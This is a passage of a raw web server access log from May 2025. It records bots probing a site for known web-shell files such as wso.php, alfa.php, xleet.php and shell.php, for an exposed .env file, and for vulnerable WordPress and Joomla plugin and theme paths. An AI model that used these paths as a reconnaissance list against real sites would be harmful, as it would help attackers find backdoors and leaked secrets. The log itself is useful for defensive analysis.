"python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:22 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:24 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:27 -0400] "GET /templates/system/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:28 -0400] "GET /templates/system/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:31 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:33 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:35 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:37 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:39 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:41 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:43 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:45 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:47 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:49 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:51 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:53 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:55 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:58 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:00 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:02 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:06 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:09 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:11 -0400] "GET /gallery/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:16 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:19 -0400] "GET /pdf/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:21 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:22 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:24 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:27 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:12:00:29 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 47.252.21.241 - - [01/May/2025:12:11:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36" 47.252.21.241 - - [01/May/2025:12:11:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 105.156.24.83 - - [01/May/2025:12:26:40 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.156.24.83 - - [01/May/2025:12:30:28 -0400] "GET /first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.156.24.83 - - [01/May/2025:12:30:32 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.156.24.83 - - [01/May/2025:12:30:34 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.156.24.83 - - [01/May/2025:12:30:52 -0400] "GET /log-mama/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.156.24.83 - - [01/May/2025:12:30:55 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.156.24.83 - - [01/May/2025:12:30:58 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.156.24.83 - - [01/May/2025:13:15:56 -0400] "GET /504.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.156.24.83 - - [01/May/2025:13:16:55 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.156.24.83 - - [01/May/2025:13:17:48 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.156.24.83 - - [01/May/2025:13:18:37 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.156.24.83 - - [01/May/2025:13:18:41 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:19:26 -0400] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:19:55 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 121.4.97.180 - - [01/May/2025:13:54:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 41.250.4.130 - - [01/May/2025:13:55:11 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:55:22 -0400] "GET /wp-content/themes/fitnessbase/dev.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:55:28 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:55:34 -0400] "GET /wp-content/themes/fitnessbase/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:55:45 -0400] "GET /wp-content/themes/fitnessbase/upup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:55:48 -0400] "GET /themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:56:05 -0400] "GET /wp-content/plugins/ango/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:56:24 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:56:30 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:56:35 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:56:38 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:56:45 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:56:54 -0400] "GET /wp-content/wso2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:56:59 -0400] "GET /wp-content//wso1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:57:05 -0400] "GET /xl2023x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:57:05 -0400] "GET /wp-content/uploads/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:57:20 -0400] "GET /wp-content/uploads/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:57:35 -0400] "GET /wp-content/uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:57:36 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:57:38 -0400] "GET /wp-content/uploads/wso2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:57:43 -0400] "GET /wp-content/uploads/wso1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:57:47 -0400] "GET /wp-content/uploads/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:58:29 -0400] "GET /wp-content/uploads/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:58:40 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:58:48 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:58:52 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:58:58 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:58:59 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:59:04 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:59:08 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:59:20 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:59:39 -0400] "GET /2022.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:59:42 -0400] "GET /2021.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:59:47 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:13:59:52 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:13:59:57 -0400] "GET /shellalfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:14:00:23 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.250.4.130 - - [01/May/2025:14:01:04 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:02:40 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:02:48 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:03:12 -0400] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.115.37 - - [01/May/2025:14:04:15 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.115.37 - - [01/May/2025:14:04:15 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 41.250.4.130 - - [01/May/2025:14:04:32 -0400] "GET /wp-content/upgrade/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:06:32 -0400] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:07:56 -0400] "GET /wp-admin/user/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:10:39 -0400] "GET /wp-admin/js/widgets/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:13:26 -0400] "GET /wp-admin/network/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.153.27.244 - - [01/May/2025:14:13:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 41.250.4.130 - - [01/May/2025:14:15:04 -0400] "GET /wp-admin/images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:17:02 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:20:08 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:21:27 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:22:04 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:22:23 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:23:43 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:23:52 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.250.4.130 - - [01/May/2025:14:24:04 -0400] "GET /wp-content/uploads/xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 54.149.130.97 - - [01/May/2025:14:25:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 41.250.4.130 - - [01/May/2025:14:29:08 -0400] "GET /Mshell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 109.194.162.143 - - [01/May/2025:14:31:23 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 194.145.227.125 - - [01/May/2025:14:36:22 -0400] "GET / HTTP/1.1" 301 795 "-" "ALittle Client" 41.250.4.130 - - [01/May/2025:14:57:49 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:57:51 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:57:56 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:57:59 -0400] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:00 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:05 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:08 -0400] "GET /wp-content/plugins/ioptimizations/IOptimizes.php?hamlorszd HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:11 -0400] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:16 -0400] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:21 -0400] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:24 -0400] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) 